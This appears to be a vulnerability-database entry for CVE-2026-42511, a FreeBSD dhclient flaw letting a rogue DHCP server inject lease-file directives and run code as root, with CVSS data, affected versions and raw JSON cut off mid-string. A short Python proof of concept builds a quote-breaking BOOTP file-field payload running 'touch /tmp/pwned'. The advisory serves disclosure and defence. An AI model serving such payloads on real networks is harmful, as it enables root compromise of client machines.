Security Vulnerability Report
中文
CVE-2026-42511 CVSS 8.1 HIGH

CVE-2026-42511

Published: 2026-04-30 07:16:37
Last Modified: 2026-05-01 16:16:32

Description

The BOOTP file field is written to the lease file without escaping embedded double-quotes, allowing injection of arbitrary dhclient.conf directives. When the lease file is subsequently re-parsed by dhclient, e.g., after a system restart, an attacker-controlled field from the lease is passed to dhclient-script(8), which evaluates it. A rogue DHCP server may be able to execute arbirary code as root on a system running dhclient.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:freebsd:freebsd:13.5:-:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:freebsd:freebsd:13.5:beta3:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:freebsd:freebsd:13.5:p1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:freebsd:freebsd:13.5:p10:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:freebsd:freebsd:13.5:p11:*:*:*:*:*:* - VULNERABLE
FreeBSD (参考FreeBSD-SA-26:12公告影响范围)
ISC dhclient

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import binascii # Proof of Concept for CVE-2026-42511 # This demonstrates how to craft a malicious DHCP option 67 (Bootfile Name) # to inject commands into the dhclient lease file. # normally the bootfile is quoted in the lease file, e.g.: # filename "bootfile"; # By injecting a double quote, we close the string and can add new directives. # Payload intends to execute a shell command when dhclient parses the lease. # Malicious payload: # 1. Close the existing quote: " # 2. Add a newline to start a new directive (represented as hex in packet) # 3. Inject an 'execute' directive with a malicious command # Example command: touch /tmp/pwned malicious_command = "touch /tmp/pwned" # Constructing the payload string that will go into the DHCP packet's file field # We use hex representation for clarity in packet crafting # Payload: "; execute("touch /tmp/pwned"); # # This breaks out of the filename string, adds an execute call, and comments the rest. payload = '"; execute("' + malicious_command + '"); #' print(f"[*] Generated Payload for BOOTP File Field:") print(f"{payload}") print(f"[*] Hex representation:") print(binascii.hexlify(payload.encode('utf-8')).decode('utf-8')) # Note: To test this, one would need to set up a rogue DHCP server (e.g., using dnsmasq or scapy) # and respond to a victim DHCP request with this payload in the 'file' field (Option 67 or bootfile field).

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-42511", "sourceIdentifier": "[email protected]", "published": "2026-04-30T07:16:37.290", "lastModified": "2026-05-01T16:16:32.283", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "The BOOTP file field is written to the lease file without escaping embedded double-quotes, allowing injection of arbitrary dhclient.conf directives. When the lease file is subsequently re-parsed by dhclient, e.g., after a system restart, an attacker-controlled field from the lease is passed to dhclient-script(8), which evaluates it.\n\nA rogue DHCP server may be able to execute arbirary code as root on a system running dhclient."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-149"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:13.5:-:*:*:*:*:*:*", "matchCriteriaId": "947F561E-AD65-43B9-94C1-3109A3D35248"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:13.5:beta3:*:*:*:*:*:*", "matchCriteriaId": "4216D505-95A5-4FCC-8B9A-26FCD32B0445"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:13.5:p1:*:*:*:*:*:*", "matchCriteriaId": "3D1987F1-1E08-4B28-8D16-D25A091D99ED"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:13.5:p10:*:*:*:*:*:*", "matchCriteriaId": "4C859EE2-59C0-4234-BFF0-7794AC4956DD"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:13.5:p11:*:*:*:*:*:*", "matchCriteriaId": "D1CEB391-5FA3-4FFD-9279-113093DD500D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:13.5:p12:*:*:*:*:*:*", "matchCriteriaId": "EE54A637-BD2A-42F2-A155-CF3D4292B32D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:13.5:p2:*:*:*:*:*:*", "matchCriteriaId": "BEC1E8A0-0402-45F1-938D-FEFDCFC3E747"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:13.5:p3:*:*:*:*:*:*", "matchCriteriaId": "D94457D6-738F-4ABB-BD46-F2B621531FE2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:13.5:p4:*:*:*:*:*:*", "matchCriteriaId": "8C38CB56-B80C-4D1B-9267-16E8F985B170"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:13.5:p5:*:*:*:*:*:*", "matchCriteriaId": "13DF1E38-5E8D-42FF-A4C5-092300864F3E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:13.5:p6:*:*:*:*:*:*", "matchCriteriaId": "83A86F81-0965-4600-835A-496756137998"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:13.5:p7:*:*:*:*:*:*", "matchCriteriaId": "987E31A4-7E21-471E-A3EA-4E53FFDB3DFB"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:13.5:p8:*:*:*:*:*:*", "matchCriteriaId": "9FBFE8B3-DC7C-4394-B062-C40E201EC059"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:13.5:p9:*:*:*:*:*:*", "matchCriteriaId": "563C1D65-625D-43FC-A7A0-75B1E2163C40"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.3:-:*:*:*:*:*:*", "matchCriteriaId": "9DC7C54E-58AF-4ADE-84AF-0EF0F325E20E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.3:p1:*:*:*:*:*:*", "matchCriteriaId": "D3D22B8C-36CF-4800-9673-0B0240558BDD"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.3:p10:*:*:*:*:*:*", "matchCriteriaId": "7296F5AA-F8C1-4277-A4EE-C2B24073A320"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.3:p11:*:*:*:*:*:*", "matchCriteriaId": "C30E4A9C-0594-4F40-92B3-26CB9AA85AE9"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.3:p2:*:*:*:*:*:*", "matchCriteriaId": "242FA2A8-5D7D-4617-A411-2651FF3A3E4C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.3:p3:*:*:*:*:*:*", "matchCriteriaId": "40573F60-F3B7-4AEC-846A-B08E5B7D9D00"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.3:p4:*:*:*:*:*:*", "matchCriteriaId": "1FB832CE-0A98-44A2-8BAC-CD38A64279B6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.3:p5:*:*:*:*:*:*", "matchCriteriaId": "9A785F8E-C218-41AE-8D57-BF06DDAEF7CB"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.3:p6:*:*:*:*:*:*", "matchCriteriaId": "C3909FDD-B2A2-45B6-A40B-1D303A717F15"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.3:p7:*:*:*:*:*:*", "matchCriteriaId": "720597A2-F181-46E1-8A0D-097E17ADC4FB"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.3:p8:*:*:*:*:*:*", "matchCriteriaId": "DC8A75D0-148A-427A-9783-45477EABED21"}, {"vulnerable": true, "criteria": "cpe:2.3:o:f ... (truncated)